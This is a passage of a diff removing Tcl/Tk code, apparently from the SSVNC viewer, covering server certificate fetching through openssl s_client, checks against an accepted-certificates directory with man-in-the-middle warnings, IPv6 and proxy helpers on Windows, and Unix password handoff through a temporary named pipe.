- if [regexp -nocase {^vnc://} $hpnew] {
- return ""
- }
- set hpnew [get_ssh_hp $hpnew]
- regsub -nocase {^[a-z0-9+]*://} $hpnew "" hpnew
- set h [host_part $hpnew]
- set p [port_part $hpnew]
-
- if {$p == ""} {
- # might not matter, i.e. SSH+SSL only...
- set p 5900
- }
- set hp2 $h
- if {$p < 0} {
- set hp2 "$hp2:[expr - $p]"
- } elseif {$p < 200} {
- set hp2 "$hp2:[expr $p + 5900]"
- } else {
- set hp2 "$hp2:$p"
- }
- return "vencrypt://$hp2"
-}
-
-proc fetch_cert_unix {hp {vencrypt 0} {anondh 0}} {
- global use_listen
-
- set hpnew [get_ssh_hp $hp]
- set proxy [get_ssh_proxy $hp]
-
- if {$vencrypt} {
- global vencrypt_detected
- set vencrypt_detected [get_vencrypt_proxy $hpnew]
- if {$proxy != ""} {
- set proxy "$proxy,$vencrypt_detected"
- } else {
- set proxy $vencrypt_detected
- }
- }
-
- set cmd [list ss_vncviewer]
- if {$anondh} {
- lappend cmd "-anondh"
- }
- if {$proxy != ""} {
- lappend cmd "-proxy"
- lappend cmd $proxy
- }
- if {$use_listen} {
- lappend cmd "-listen"
- }
- lappend cmd "-showcert"
- lappend cmd $hpnew
-
- if {$proxy != ""} {
- lappend cmd "2>/dev/null"
- }
- global env
- if [info exists env(CERTDBG)] {puts "\nFetch-cmd: $cmd"}
- set env(SSVNC_SHOWCERT_EXIT_0) 1
-
- return [eval exec $cmd]
-}
-
-proc win_nslookup {host} {
- global win_nslookup_cache
- if [info exists win_nslookup_cache($host)] {
- return $win_nslookup_cache($host)
- }
- if [regexp -nocase {[^a-z0-9:._-]} $host] {
- set win_nslookup_cache($host) "invalid"
- return $win_nslookup_cache($host)
- }
- if [regexp {^[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*$} $host] {
- set win_nslookup_cache($host) $host
- return $win_nslookup_cache($host)
- }
- if [regexp -nocase {^[a-f0-9]*:[a-f0-9:]*:[a-f0-9:]*$} $host] {
- set win_nslookup_cache($host) $host
- return $win_nslookup_cache($host)
- }
- set nsout ""
- catch {set nsout [exec nslookup $host]}
- if {$nsout == "" || [regexp -nocase {server failed} $nsout]} {
- after 250
- set nsout ""
- catch {set nsout [exec nslookup $host]}
- }
- if {$nsout == "" || [regexp -nocase {server failed} $nsout]} {
- set win_nslookup_cache($host) "unknown"
- return $win_nslookup_cache($host)
- }
- regsub -all {Server:[^\n]*\nAddress:[^\n]*} $nsout "" nsout
- regsub {^.*Name:} $nsout "" nsout
- if [regexp {Address:[ \t]*([^\n]+)} $nsout mv addr] {
- set addr [string trim $addr]
- if {$addr != ""} {
- set win_nslookup_cache($host) $addr
- return $win_nslookup_cache($host)
- }
- }
- set win_nslookup_cache($host) "unknown"
- return $win_nslookup_cache($host)
-}
-
-proc win_ipv4 {host} {
- global win_localhost
- set ip [win_nslookup $host];
- if [regexp {^[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*$} $ip] {
- return 1
- }
- return 0
-}
-
-proc ipv6_proxy {proxy host port} {
- global is_windows win_localhost have_ipv6
-
- if {!$have_ipv6} {
- return [list $proxy $host $port ""]
- } elseif {!$is_windows} {
- return [list $proxy $host $port ""]
- } else {
- set h0 ""
- set p0 ""
- set port3 ""
- set ipv6_pid ""
- set proxy0 $proxy
- if {$proxy == ""} {
- if [win_ipv4 $host] {
- return [list $proxy $host $port ""]
- }
- set port3 [rand_port]
- set h0 $host
- set p0 $port
- set host $win_localhost
- set port $port3
- } else {
- set parts [split $proxy ","]
- set n [llength $parts]
- for {set i 0} {$i < $n} {incr i} {
- set part [lindex $parts $i]
- set prefix ""
- set repeater 0
- regexp -nocase {^[a-z0-9+]*://} $part prefix
- regsub -nocase {^[a-z0-9+]*://} $part "" part
- if [regexp {^repeater://} $prefix] {
- regsub {\+.*$} $part "" part
- if {![regexp {:([0-9][0-9]*)$} $part]} {
- set part "$part:5900"
- }
- }
- set modit 0
- set h1 ""
- set p1 ""
- if [regexp {^(.*):([0-9][0-9]*)$} $part mvar h1 p1] {
- if {$h1 == "localhost" || $h1 == $win_localhost} {
- continue
- } elseif [win_ipv4 $h1] {
- break
- }
- set modit 1
- } else {
- break
- }
- if {$modit} {
- set port3 [rand_port]
- set h0 $h1
- set p0 $p1
- lset parts $i "$prefix$win_localhost:$port3"
- break
- }
- }
- if {$h0 != "" && $p0 != "" && $port3 != ""} {
- set proxy [join $parts ","]
- #mesg "Reset proxy: $proxy"; after 3000
- }
- }
- if {$h0 != "" && $p0 != "" && $port3 != ""} {
- mesg "Starting IPV6 helper on port $port3 ..."
- set ipv6_pid [exec relay6.exe $port3 "$h0" "$p0" /b:$win_localhost &]
- after 400
- #mesg "r6 $port3 $h0 $p0"; after 3000
- }
- return [list $proxy $host $port $ipv6_pid]
- }
-}
-
-proc fetch_cert_windows {hp {vencrypt 0} {anondh 0}} {
- global have_ipv6
-
- regsub {^vnc.*://} $hp "" hp
-
- set hpnew [get_ssh_hp $hp]
- set proxy [get_ssh_proxy $hp]
-
- if {$vencrypt} {
- global vencrypt_detected
- set vencrypt_detected [get_vencrypt_proxy $hpnew]
- if {$proxy != ""} {
- set proxy "$proxy,$vencrypt_detected"
- } else {
- set proxy $vencrypt_detected
- }
- }
-
- set host [host_part $hpnew]
-
- global win_localhost
-
- if {$host == ""} {
- set host $win_localhost
- }
-
- if [regexp {^.*@} $host match] {
- mesg "Trimming \"$match\" from hostname"
- regsub {^.*@} $host "" host
- }
-
- set disp [port_part $hpnew]
-
- if {[regexp {^-[0-9][0-9]*$} $disp]} {
- ;
- } elseif {$disp == "" || ! [regexp {^[0-9][0-9]*$} $disp]} {
- set disp 0
- }
- if {$disp < 0} {
- set port [expr "- $disp"]
- } elseif {$disp < 200} {
- set port [expr "$disp + 5900"]
- } else {
- set port $disp
- }
-
- set ipv6_pid ""
- if {$have_ipv6} {
- set res [ipv6_proxy $proxy $host $port]
- set proxy [lindex $res 0]
- set host [lindex $res 1]
- set port [lindex $res 2]
- set ipv6_pid [lindex $res 3]
- }
-
- if {$proxy != ""} {
- global env
-
- set port2 [rand_port]
-
- set sp ""
- if [info exists env(SSVNC_PROXY)] {
- set sp $env(SSVNC_PROXY)
- }
- set sl ""
- if [info exists env(SSVNC_LISTEN)] {
- set sl $env(SSVNC_LISTEN)
- }
- set sd ""
- if [info exists env(SSVNC_DEST)] {
- set sd $env(SSVNC_DEST)
- }
-
- set env(SSVNC_PROXY) $proxy
- set env(SSVNC_LISTEN) $port2
- set env(SSVNC_DEST) "$host:$port"
-
- set host $win_localhost
- set port $port2
-
- mesg "Starting Proxy TCP helper on port $port2 ..."
- after 300
- # fetch cert br case:
- set proxy_pid [exec "connect_br.exe" &]
-
- if {$sp == ""} {
- catch { unset env(SSVNC_PROXY) }
- } else {
- set env(SSVNC_PROXY) $sp
- }
- if {$sl == ""} {
- catch { unset env(SSVNC_LISTEN) }
- } else {
- set env(SSVNC_LISTEN) $sl
- }
- if {$sd == ""} {
- catch { unset env(SSVNC_DEST) }
- } else {
- set env(SSVNC_DEST) $sd
- }
- }
-
- set ossl [get_openssl]
- update
- # VF
- set tin tmpin.txt
- set tou tmpout.txt
- set fh ""
- catch {set fh [open $tin "w"]}
- if {$fh != ""} {
- puts $fh "Q"
- puts $fh "GET /WOMBAT HTTP/1.1\r\nHost: wombat.com\r\n\r\n\r\n"
- close $fh
- }
-
- if {1} {
- set ph ""
- if {$anondh} {
- set ph [open "| $ossl s_client -prexit -connect $host:$port -cipher ALL:RC4+RSA:+SSLv2:@STRENGTH < $tin 2>NUL" "r"]
- } else {
- set ph [open "| $ossl s_client -prexit -connect $host:$port < $tin 2>NUL" "r"]
- }
-
- set text ""
- if {$ph != ""} {
- set pids [pid $ph]
- set got 0
- while {[gets $ph line] > -1} {
- append text "$line\n"
- if [regexp {END CERT} $line] {
- set got 1
- }
- if {$anondh && [regexp -nocase {cipher.*ADH} $line]} {
- set got 1
- }
- if {$got && [regexp {^ *Verify return code} $line]} {
- break
- }
- if [regexp {^RFB } $line] {
- break
- }
- if [regexp {^DONE} $line] {
- break
- }
- }
- foreach pid $pids {
- winkill $pid
- }
- if {$ipv6_pid != ""} {
- winkill $ipv6_pid
- }
-
- catch {close $ph}
- catch {file delete $tin $tou}
- return $text
- }
- } else {
- set pids ""
-
- if {1} {
- if {$anondh} {
- set ph2 [open "| $ossl s_client -prexit -connect $host:$port -cipher ALL:RC4+RSA:+SSLv2:@STRENGTH > $tou 2>NUL" "w"]
- } else {
- set ph2 [open "| $ossl s_client -prexit -connect $host:$port > $tou 2>NUL" "w"]
- }
- set pids [pid $ph2]
- after 500
- for {set i 0} {$i < 128} {incr i} {
- puts $ph2 "Q"
- }
- catch {close $ph2}
- } else {
- if {$anondh} {
- set pids [exec $ossl s_client -prexit -connect $host:$port -cipher ALL:RC4+RSA:+SSLv2:@STRENGTH < $tin >& $tou &]
- } else {
- set pids [exec $ossl s_client -prexit -connect $host:$port < $tin >& $tou &]
- }
- }
-
- for {set i 0} {$i < 10} {incr i} {
- after 500
- set got 0
- set ph ""
- catch {set ph [open $tou "r"]}
- if {$ph != ""} {
- while {[gets $ph line] > -1} {
- if [regexp {END CERT} $line] {
- set got 1
- break
- }
- }
- close $ph
- }
- if {$got} {
- break
- }
- }
- foreach pid $pids {
- winkill $pid
- }
- after 500
- set ph ""
- catch {set ph [open $tou "r"]}
- }
- set text ""
- if {$ph != ""} {
- while {[gets $ph line] > -1} {
- append text "$line\n"
- }
- close $ph
- }
- catch {file delete $tin $tou}
- if {$ipv6_pid != ""} {
- winkill $ipv6_pid
- }
- return $text
-}
-
-proc check_accepted_certs {{probe_only 0}} {
- global cert_text always_verify_ssl
- global skip_verify_accepted_certs use_listen
- global ultra_dsm env
- global server_vencrypt server_anondh no_probe_vencrypt
-
- if {! $always_verify_ssl} {
- set skip_verify_accepted_certs 1
- if {$server_vencrypt} {
- return 1
- }
- if {$no_probe_vencrypt} {
- return 1
- }
- }
- if {$server_anondh} {
- mesg "WARNING: Anonymous Diffie Hellman (SKIPPING CERT CHECK)"
- after 1000
- set skip_verify_accepted_certs 1
- return 1
- }
- if {$ultra_dsm} {
- return 1;
- }
- if {$use_listen} {
- return 1;
- }
-
- global anon_dh_detected
- set anon_dh_detected 0
-
- set cert_text [fetch_cert 0]
-
- set mvar ""
- if {[regexp -nocase -line {cipher.*ADH} $cert_text mvar]} {
-
- if [info exists env(CERTDBG)] {puts "\nFetch-MSG-\n$cert_text"}
- if [info exists env(CERTDBG)] {puts "\nBEGIN_MVAR: $mvar\nEND_MVAR\n"}
-
- set msg "Anonymous Diffie-Hellman server detected. There will be encryption, but no SSL/TLS authentication. Continue?"
- set reply [tk_messageBox -type okcancel -default ok -icon warning -message $msg -title "Anonymous Diffie-Hellman Detected"]
- set anon_dh_detected 1
- if {$reply == "cancel"} {
- return 0
- } else {
- global skip_verify_accepted_certs
- set skip_verify_accepted_certs 1
- return 1
- }
- }
-
- if {$probe_only} {
- return 1
- }
- if {! $always_verify_ssl} {
- return 1
- }
-
- set from ""
- set fingerprint ""
- set fingerline ""
- set self_signed 1
- set subject_issuer ""
- set subject ""
- set issuer ""
-
- set i 0
- foreach line [split $cert_text "\n"] {
- incr i
- if {$i > 50} {
- break
- }
- if [regexp {^- subject: *(.*)$} $line m val] {
- set val [string trim $val]
- set subject_issuer "${subject_issuer}subject:$val\n"
- set subject $val
- }
- if [regexp {^- (issuer[0-9][0-9]*): *(.*)$} $line m is val] {
- set val [string trim $val]
- set subject_issuer "${subject_issuer}$is:$val\n"
- set issuer $val
- }
- if [regexp {^INFO: SELF_SIGNED=(.*)$} $line m val] {
- set subject_issuer "${subject_issuer}SELF_SIGNED:$val\n"
- }
- if [regexp {^depth=} $line] {
- break
- }
- if [regexp {^verify } $line] {
- break
- }
- if [regexp {^CONNECTED} $line] {
- break
- }
- if [regexp {^Certificate chain} $line] {
- break
- }
- if [regexp {^==== SSL Certificate from (.*) ====} $line mv str] {
- set from [string trim $str]
- }
- if [regexp -nocase {Fingerprint=(.*)} $line mv str] {
- set fingerline $line
- set fingerprint [string trim $str]
- }
- if [regexp -nocase {^INFO: SELF_SIGNED=([01])} $line mv str] {
- set self_signed $str
- }
- }
-
- set fingerprint [string tolower $fingerprint]
- regsub -all {:} $fingerprint "-" fingerprint
- regsub -all {[\\/=]} $fingerprint "_" fingerprint
-
- set from [string tolower $from]
- regsub -all {[\[\]]} $from "" from
- regsub -all {^[+a-z]*://} $from "" from
- regsub -all {:} $from "-" from
- regsub -all {[\\/=]} $from "_" from
- regsub -all {[ ]} $from "_" from
-
- if {$from == "" || $fingerprint == ""} {
- bell
- catch {raise .; update}
- mesg "WARNING: Error fetching Server Cert"
- after 500
- set hp [get_vncdisplay]
- set n [line_count $cert_text 1]
- fetch_dialog $cert_text $hp $hp 0 $n
- update
- after 2000
- return 0
- }
-
- set hp [get_vncdisplay]
-
- set adir [get_idir_certs ""]
- catch {file mkdir $adir}
- set adir "$adir/accepted"
- catch {file mkdir $adir}
-
- set crt "$adir/$from=$fingerprint.crt"
-
- if [file exists $crt] {
- if {$self_signed} {
- mesg "OK: Certificate found in ACCEPTED_CERTS"
- after 750
- return 1
- }
- }
-
- set cnt 0
- foreach f [glob -nocomplain -directory $adir "*$fingerprint*.crt"] {
- mesg "CERT: $f"
- after 150
- if {$self_signed} {
- incr cnt
- }
- }
-
- set oth 0
- set others [list]
- foreach f [glob -nocomplain -directory $adir "*$from*.crt"] {
- if {$f == $crt} {
- continue
- }
- set fb [file tail $f]
- mesg "OTHER CERT: $fb"
- if {$cnt > 0} {
- after 400
- } else {
- bell
- after 800
- }
- lappend others $f
- incr oth
- }
-
- foreach f [glob -nocomplain -directory $adir "*.crt"] {
- if {$f == $crt} {
- continue
- }
- set saw 0
- foreach o $others {
- if {$f == $o} {
- set saw 1
- break
- }
- }
- if {$saw} {
- continue
- }
- set fh [open $f "r"]
- if {$fh == ""} {
- continue
- }
- set same 0
- set sub ""
- set iss ""
- set isn -1;
- while {[gets $fh line] > -1} {
- if [regexp {^Host-Display: (.*)$} $line mv hd] {
- if {$hd == $hp || $hd == $from} {
- set same 1
- }
- }
- if [regexp {^subject:(.*)$} $line mv val] {
- set sub $val
- }
- if [regexp {^issue([0-9][0-9]*):(.*)$} $line mv in val] {
- if {$in > $isn} {
- set isn $in
- set iss $val
- }
- }
- }
- close $fh;
-
- if {!$self_signed} {
- if {$sub == ""} {
- set ossl [get_openssl]
- set si_txt [exec $ossl x509 -subject -issuer -noout -in $f]
- foreach line [split $si_txt "\n"] {
- if [regexp -nocase {^subject= *(.*)$} $line mv str] {
- set str [string trim $str]
- if {$str != ""} {
- set sub $str
- }
- } elseif [regexp -nocase {^issuer= *(.*)$} $line mv str] {
- set str [string trim $str]
- if {$iss != ""} {
- set iss $str
- }
- }
- }
- }
- if {$issuer != "" && $sub != ""} {
- global env
- if [info exists env(CERTDBG)] {
- puts "f: $f"
- puts "s: $sub"
- puts "i: $issuer"
- puts "==================="
- }
- if {$issuer == $sub} {
- set fb [file tail $f]
- mesg "Certificate Authority (CA) CERT: $fb"
- incr cnt
- after 500
- }
- }
- continue
- }
-
- if {! $same} {
- continue
- }
-
- set fb [file tail $f]
- mesg "OTHER CERT: $fb"
- if {$cnt > 0} {
- after 400
- } else {
- bell
- after 800
- }
- lappend others $f
- incr oth
- }
-
- if {$cnt > 0} {
- if {$self_signed} {
- mesg "OK: Server Certificate found in ACCEPTED_CERTS"
- after 400
- } else {
- mesg "OK: CA Certificate found in ACCEPTED_CERTS"
- after 800
- }
- return 1
- }
-
- set hp2 [get_vncdisplay]
- set msg "
- The Self-Signed SSL Certificate from host:
-
- $hp2
-
- Fingerprint: $fingerprint
-
- Subject: $subject
-
- is not present in the 'Accepted Certs' directory:
-
- $adir
-%WARN
- You will need to verify on your own that this is a certificate from a
- VNC server that you trust (e.g. by checking the fingerprint with that
- sent to you by the server administrator).
-
-
- THE QUESTION: Do you want this certificate to be saved in the Accepted Certs
- directory and then used to SSL authenticate VNC servers?
-
-
- By clicking 'Inspect and maybe Save Cert' you will be given the opportunity
- to inspect the certificate before deciding to save it or not.
-"
-
- set msg_bottom "
- Choose 'Ignore Cert for One Connection' to connect a single time to the
- server with *NO* certificate authentication. You will see this dialog again
- the next time you connect to the same server.
-
- Choose 'Continue as though I saved it' to launch stunnel and the VNC viewer.
- Do this if you know the correct Certificate is in the 'Accepted Certs'
- directory. If it is not, stunnel will fail and report 'VERIFY ERROR:...'
-
- Choose 'Cancel' to not connect to the VNC Server at all.
-"
-
- set msg_ca "
- The CA-signed SSL Certificate from host:
-
- $hp2
-
- Fingerprint: $fingerprint
-
- Subject: $subject
-
- Issuer: $issuer
-
- is signed by a Certificate Authority (CA) (the 'Issuer' above.)
-
- However, the certificate of the CA 'Issuer' is not present in the
- 'Accepted Certs' directory:
-
- $adir
-
- You will need to obtain the certificate of the CA 'Issuer' via some means
- (perhaps ask the VNC server administrator for it.) Then, after you have
- verified that the CA certificate is one that you trust, import the
- certificate via Certs -> Import Certificate. Be sure to select to also
- save it to the Accepted Certs directory so it will automatically be used.
-"
- set msg "$msg$msg_bottom"
- set msg_ca "$msg_ca$msg_bottom"
-
- if {!$self_signed} {
- set msg $msg_ca
- }
-
- if {$oth == 0} {
- regsub {%WARN} $msg "" msg
- } else {
- set warn ""
- set wfp ""
- if {$oth == 1} {
- set warn "
-**WARNING** The Following Cert was previously saved FOR THE SAME HOST-DISPLAY:
-
-"
- set wfp "BUT WITH A DIFFERENT FINGERPRINT."
-
- } else {
- set warn "
-**WARNING** The Following Certs were previously saved FOR THE SAME HOST-DISPLAY:
-
-"
- set wfp "BUT WITH DIFFERENT FINGERPRINTS."
- }
-
- foreach o $others {
- set fb [file tail $o]
- set warn "$warn $fb\n"
- }
- set warn "$warn\n $wfp\n"
- set warn "$warn\n This could be a Man-In-The-Middle attack, or simply that the Server changed"
- set warn "$warn\n its Certificate. *PLEASE CHECK* before proceeding!\n"
- regsub {%WARN} $msg $warn msg
- bell
- }
-
- set n 0
- foreach l [split $msg "\n"] {
- incr n
- }
- if {!$self_signed} {
- set n [expr $n + 2]
- } else {
- set n [expr $n + 1]
- }
- if [small_height] {
- if {$n > 26} {
- set n 26
- }
- }
- toplev .acert
- scroll_text .acert.f 83 $n
-
- button .acert.inspect -text "Inspect and maybe Save Cert ..." -command "destroy .acert; set accept_cert_dialog 1"
- button .acert.accept -text "Ignore Cert for One Connection " -command "destroy .acert; set accept_cert_dialog 2"
- button .acert.continue -text "Continue as though I saved it " -command "destroy .acert; set accept_cert_dialog 3"
- button .acert.cancel -text "Cancel" -command "destroy .acert; set accept_cert_dialog 0"
-
- wm title .acert "Unrecognized SSL Cert!"
-
- .acert.f.t insert end $msg
-
- pack .acert.cancel .acert.continue .acert.accept .acert.inspect -side bottom -fill x
- pack .acert.f -side top -fill both -expand 1
-
- if {! $self_signed} {
- catch {.acert.inspect configure -state disabled}
- }
-
- center_win .acert
-
- global accept_cert_dialog
- set accept_cert_dialog ""
-
- jiggle_text .acert.f.t
-
- tkwait window .acert
-
- if {$accept_cert_dialog == 2} {
- set skip_verify_accepted_certs 1
- return 1
- }
- if {$accept_cert_dialog == 3} {
- return 1
- }
- if {$accept_cert_dialog != 1} {
- return 0
- }
-
- global accepted_cert_dialog_in_progress
- set accepted_cert_dialog_in_progress 1
-
- global fetch_cert_filename
- set fetch_cert_filename $crt
-
- global do_save_saved_it
- set do_save_saved_it 0
- global do_save_saved_hash_it
- set do_save_saved_hash_it 0
-
- fetch_dialog $cert_text $hp $hp 1 47
- update; after 150
-
- catch {tkwait window .fetch}
- update; after 250
- catch {tkwait window .scrt}
- update; after 250
- if [winfo exists .scrt] {
- catch {tkwait window .scrt}
- }
-
- set fetch_cert_filename ""
- set accepted_cert_dialog_in_progress 0
-
- if {!$do_save_saved_hash_it} {
- save_hash $crt $adir $hp $fingerline $from $fingerprint $subject_issuer
- }
-
- if {$do_save_saved_it} {
- return 1
- } else {
- return 0
- }
-}
-
-proc save_hash {crt adir hp fingerline from fingerprint {subject_issuer ""}} {
- if ![file exists $crt] {
- return
- }
- set ossl [get_openssl]
- set hash [exec $ossl x509 -hash -noout -in $crt]
- set hash [string trim $hash]
- if [regexp {^([0-9a-f][0-9a-f]*)} $hash mv h] {
- set hashfile "$adir/$h.0"
- set hn "$h.0"
- if [file exists $hashfile] {
- set hashfile "$adir/$h.1"
- set hn "$h.1"
- if [file exists $hashfile] {
- set hashfile "$adir/$h.2"
- set hn "$h.2"
- }
- }
- set fh [open $crt "a"]
- if {$fh != ""} {
- puts $fh ""
- puts $fh "SSVNC-info:"
- puts $fh "Host-Display: $hp"
- puts $fh "$fingerline"
- puts $fh "hash-filename: $hn"
- puts $fh "full-filename: $from=$fingerprint.crt"
- puts -nonewline $fh $subject_issuer
- close $fh
- }
- catch {file copy -force $crt $hashfile}
- if [file exists $hashfile] {
- return 1
- }
- }
-}
-
-proc tpid {} {
- global is_windows
- set p ""
-
- if {!$is_windows} {
- catch {set p [exec sh -c {echo $$}]}
- }
- if {$p == ""} {
- set p [pid];
- }
- append p [clock clicks]
- return $p
-}
-
-proc repeater_proxy_check {proxy} {
- if [regexp {^repeater://.*\+ID:[0-9]} $proxy] {
- global env rpc_m1 rpc_m2
- if {![info exists rpc_m1]} {
- set rpc_m1 0
- set rpc_m2 0
- }
- set force 0
- if [info exists env(REPEATER_FORCE)] {
- if {$env(REPEATER_FORCE) != "" && $env(REPEATER_FORCE) != "0"} {
- # no longer makes a difference.
- set force 1
- }
- }
- global use_listen ultra_dsm
- if {! $use_listen} {
- if {$ultra_dsm} {
- return 1;
- } else {
- if {0} {
- mesg "WARNING: repeater:// ID:nnn proxy might need Listen Mode"
- incr rpc_m1
- if {$rpc_m1 <= 2} {
- after 1000
- } else {
- after 200
- }
- }
- if {0} {
- # no longer required by x11vnc (X11VNC_DISABLE_SSL_CLIENT_MODE)
- bell
- mesg "ERROR: repeater:// ID:nnn proxy must use Listen Mode"
- after 1000
- return 0
- }
- }
- }
- global always_verify_ssl
- if [info exists always_verify_ssl] {
- if {$always_verify_ssl} {
- mesg "WARNING: repeater:// ID:nnn Verify All Certs may fail"
- incr rpc_m2
- if {$rpc_m2 == 1} {
- after 1500
- } elseif {$rpc_m2 == 2} {
- after 500
- } else {
- after 200
- }
- }
- }
- }
- return 1
-}
-
-proc fini_unixpw {} {
- global named_pipe_fh unixpw_tmp
-
- if {$named_pipe_fh != ""} {
- catch {close $named_pipe_fh}
- }
- if {$unixpw_tmp != ""} {
- catch {file delete $unixpw_tmp}
- }
-}
-
-proc init_unixpw {hp} {
- global use_unixpw unixpw_username unixpw_passwd
- global named_pipe_fh unixpw_tmp env
-
- set named_pipe_fh ""
- set unixpw_tmp ""
-
- if {$use_unixpw} {
- set name $unixpw_username
- set env(SSVNC_UNIXPW) ""
- if {$name == ""} {
- regsub {^.*://} $hp "" hp
- set hptmp [get_ssh_hp $hp]
- if [regexp {^(.*)@} $hptmp mv m1] {
- set name $m1
- }
- }
- if {$name == ""} {
- if [info exists env(USER)] {
- set name $env(USER)
- }
- }
- if {$name == ""} {
- if [info exists env(LOGNAME)] {
- set name $env(LOGNAME)
- }
- }
- if {$name == ""} {
- set name [exec whoami]
- }
- if {$name == ""} {
- set name "unknown"
- }
-
- set tmp "/tmp/unixpipe.[tpid]"
- set tmp [mytmp $tmp]
- # need to make it a pipe
- catch {file delete $tmp}
- if {[file exists $tmp]} {
- mesg "file still exists: $tmp"
- bell
- return
- }
-
- catch {exec mknod $tmp p}
- set fh ""
- if {! [file exists $tmp]} {
- catch {set fh [open $tmp "w"]}
- } else {
- catch {set fh [open $tmp "r+"]}
- set named_pipe_fh $fh
- }
- catch {exec chmod 600 $tmp}
- if {! [file exists $tmp]} {
- mesg "cannot create: $tmp"
- if {$named_pipe_fh != ""} {catch close $named_pipe_fh}
- bell
- return
- }
- #puts [exec ls -l $tmp]
- set unixpw_tmp $tmp
- puts $fh $name
- puts $fh $unixpw_passwd
- if {$named_pipe_fh != ""} {
- flush $fh
- } else {
- close $fh
- }
- exec sh -c "sleep 60; /bin/rm -f $tmp" &
- if {$unixpw_passwd == ""} {
- set env(SSVNC_UNIXPW) "."
- } else {
- set env(SSVNC_UNIXPW) "rm:$tmp"
- }
- } else {
- if [info exists env(SSVNC_UNIXPW)] {
- set env(SSVNC_UNIXPW) ""
- }
- }
-}
-
-proc check_for_listen_ssl_cert {} {
- global mycert use_listen use_ssh ultra_dsm
- if {! $use_listen} {
- return 1
- }
- if {$use_ssh} {
- return 1
- }
- if {$ultra_dsm} {
- return 1
- }
- if {$mycert != ""} {
- return 1
- }
-
- set name [get_idir_certs ""]
- set name "$name/listen.pem"
- if {[file exists $name]} {
- set mycert $name
- mesg "Using Listen Cert: $name"
- after 700
- return 1
- }
-
- set title "SSL Listen requires MyCert";
- set msg "In SSL Listen mode a cert+key is required, but you have not specified 'MyCert'.\n\nCreate a cert+key 'listen' now?"
- set reply [tk_messageBox -type okcancel -default ok -icon warning -message $msg -title $msg]
- if {$reply == "cancel"} {
- return 0
- }
- create_cert $name
- tkwait window .ccrt
- if {[file exists $name]} {
- set mycert $name
- mesg "Using Listen Cert: $name"
- after 700
- return 1
- }
- return 0
-}
-
-proc listen_verify_all_dialog {hp} {
- global use_listen always_verify_ssl
- global did_listen_verify_all_dialog
- global svcert
- global sshssl_sw ultra_dsm
-
- if {!$use_listen} {
- return 1
- }
- if {!$always_verify_ssl} {
- return 1
- }
- if {$svcert != ""} {
- return 1
- }
- if {$ultra_dsm} {
- return 1
- }
- if [regexp -nocase {^vnc://} $hp] {
- return 1
- }
- if [info exists sshssl_sw] {
- if {$sshssl_sw == "none"} {
- return 1
- }
- if {$sshssl_sw == "ssh"} {
- return 1
- }
- }
- if [info exists did_listen_verify_all_dialog] {
- return 1
- }
-
- toplev .lvd
- global help_font
- wm title .lvd "Verify All Certs for Reverse Connections"
- eval text .lvd.t -width 55 -height 22 $help_font
- .lvd.t insert end {
- Information:
-
- You have the 'Verify All Certs' option enabled
- in Reverse VNC Connections (-LISTEN) mode.
-
- For this to work, you must have ALREADY saved
- the remote VNC Server's Certificate to the
- 'Accepted Certs' directory. Otherwise the
- incoming Reverse connection will be rejected.
-
- You can save the Server's Certificate by using
- the 'Import Certificate' dialog or on Unix
- and MacOSX by pressing 'Fetch Cert' and then
- have the Server make an initial connection.
-
- If you do not want to save the certificate of
- the VNC Server making the Reverse connection,
- you must disable 'Verify All Certs' (note that
- this means the server authenticity will not be
- checked.)
-}
-
- button .lvd.ok -text OK -command {destroy .lvd}
- button .lvd.ok2 -text OK -command {destroy .lvd}
- button .lvd.disable -text "Disable 'Verify All Certs'" -command {set always_verify_ssl 0; destroy .lvd}
- global uname
- if {$uname == "Darwin"} {
- pack .lvd.t .lvd.ok2 .lvd.disable .lvd.ok -side top -fill x
- } else {
- pack .lvd.t .lvd.disable .lvd.ok -side top -fill x
- }
- center_win .lvd
- update
-
- tkwait window .lvd
- update
- after 50
- update
-
- set did_listen_verify_all_dialog 1
- return 1
-}
-
-proc reset_stunnel_extra_opts {} {
- global stunnel_extra_opts0 stunnel_extra_svc_opts0 env
- global ssvnc_multiple_listen0
- if {$stunnel_extra_opts0 != "none"} {
- set env(STUNNEL_EXTRA_OPTS) $stunnel_extra_opts0
- }
- if {$stunnel_extra_svc_opts0 != "none"} {
- set env(STUNNEL_EXTRA_SVC_OPTS) $stunnel_extra_svc_opts0
- }
- set env(SSVNC_LIM_ACCEPT_PRELOAD) ""
- if {$ssvnc_multiple_listen0 != "none"} {
- set env(SSVNC_MULTIPLE_LISTEN) $ssvnc_multiple_listen0
- }
- set env(SSVNC_ULTRA_DSM) ""
- set env(SSVNC_TURBOVNC) ""
- catch { unset env(VNCVIEWER_NO_PIPELINE_UPDATES) }
- catch { unset env(VNCVIEWER_NOTTY) }
- catch { unset env(SSVNC_ACCEPT_POPUP) }
- catch { unset env(SSVNC_ACCEPT_POPUP_SC) }
- catch { unset env(SSVNC_KNOWN_HOSTS_FILE) }
-}
-
-proc maybe_add_vencrypt {proxy hp} {
- global vencrypt_detected server_vencrypt
- set vpd ""
- if {$vencrypt_detected != ""} {
- set vpd $vencrypt_detected
- set vencrypt_detected ""
- } elseif {$server_vencrypt} {
- set vpd [get_vencrypt_proxy $hp]
- }
- if {$vpd != ""} {
- mesg "vencrypt proxy: $vpd"
- if {$proxy != ""} {
- set proxy "$proxy,$vpd"
- } else {
- set proxy "$vpd"
- }
- }
- return $proxy
-}
-
-proc no_certs_tutorial_mesg {} {
- global svcert crtdir
- global server_anondh
- global always_verify_ssl
-
- set doit 0
- if {!$always_verify_ssl} {
- if {$svcert == ""} {
- if {$crtdir == "" || $crtdir == "ACCEPTED_CERTS"} {
- set doit 1
- }
- }
- } elseif {$server_anondh} {
- set doit 1
- }
- if {$doit} {
- mesg "INFO: without Certificate checking man-in-the-middle attack is possible."
- } else {
- set str ""
- catch {set str [.l cget -text]}
- if {$str != "" && [regexp {^INFO: without Certificate} $str]} {
- mesg ""
- }
- }
-}
-
-proc vencrypt_tutorial_mesg {} {
- global use_ssh use_sshssl use_listen
- global server_vencrypt no_probe_vencrypt
- global ultra_dsm
-
- set m ""
- if {$use_ssh} {
- ;
- } elseif {$server_vencrypt} {
- ;
- } elseif {$ultra_dsm} {
- ;
- } elseif {$use_listen} {
- set m "No VeNCrypt Auto-Detection: Listen mode."
- } elseif {$use_sshssl} {
- set m "No VeNCrypt Auto-Detection: SSH+SSL mode."
- } elseif {$no_probe_vencrypt} {
- set m "No VeNCrypt Auto-Detection: Disabled."
- }
